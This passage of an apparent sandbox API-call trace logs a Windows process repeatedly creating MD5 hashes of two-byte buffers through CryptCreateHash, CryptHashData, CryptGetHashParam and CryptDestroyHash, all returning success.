	[0068.007] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.008] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.008] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.008] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.008] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.008] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.008] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.008] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.008] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.008] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.008] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.008] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.008] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.008] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.008] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.008] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.009] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.009] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.009] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.009] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.009] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.009] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.009] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.009] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.009] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.009] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.009] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.009] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.009] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.009] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.009] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.009] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.010] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.010] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.010] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.010] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.010] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.010] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.010] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.010] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.010] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.010] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.010] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.010] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.010] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.011] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.011] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.011] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.011] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.011] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.011] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.011] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.011] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.011] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.011] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.011] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.011] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.011] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.011] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.011] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.012] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.012] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.012] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.012] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.012] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.012] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.012] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.012] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.012] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.012] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.012] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.012] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.012] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.012] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.013] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.013] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.013] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.013] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.013] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.013] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.013] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.013] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.013] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.013] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.013] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.013] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.013] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.013] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.013] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.014] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.014] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.014] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.014] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.014] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.014] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.014] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.014] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.014] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.014] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.014] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.014] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.014] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.014] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.015] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.015] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.015] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.015] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.015] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.015] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.015] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.015] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.015] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.015] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.015] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.015] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.015] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.015] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.015] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.015] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.016] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.016] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.016] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.016] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.016] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.016] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.016] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.016] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.016] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.016] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.016] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.016] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.016] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.016] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.016] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.017] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.017] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.017] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.017] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.017] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.017] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.017] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.017] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.017] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.017] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.017] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.017] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.017] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.017] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.017] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.017] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.018] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.018] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.018] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.018] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.018] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.018] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.018] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.018] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.018] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.018] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.018] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.018] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.018] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.018] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.019] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.019] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.019] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.019] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.019] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.019] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.019] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.019] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.019] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.019] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.019] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.019] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.019] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.019] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.019] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.019] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.020] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.020] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.020] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.020] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.020] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.020] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.020] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.020] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.020] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.020] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.020] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.020] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.020] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.020] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.020] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.021] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.021] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.021] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.021] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.021] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.021] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.021] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.021] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.021] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.021] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.021] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.021] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.021] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.021] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.022] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
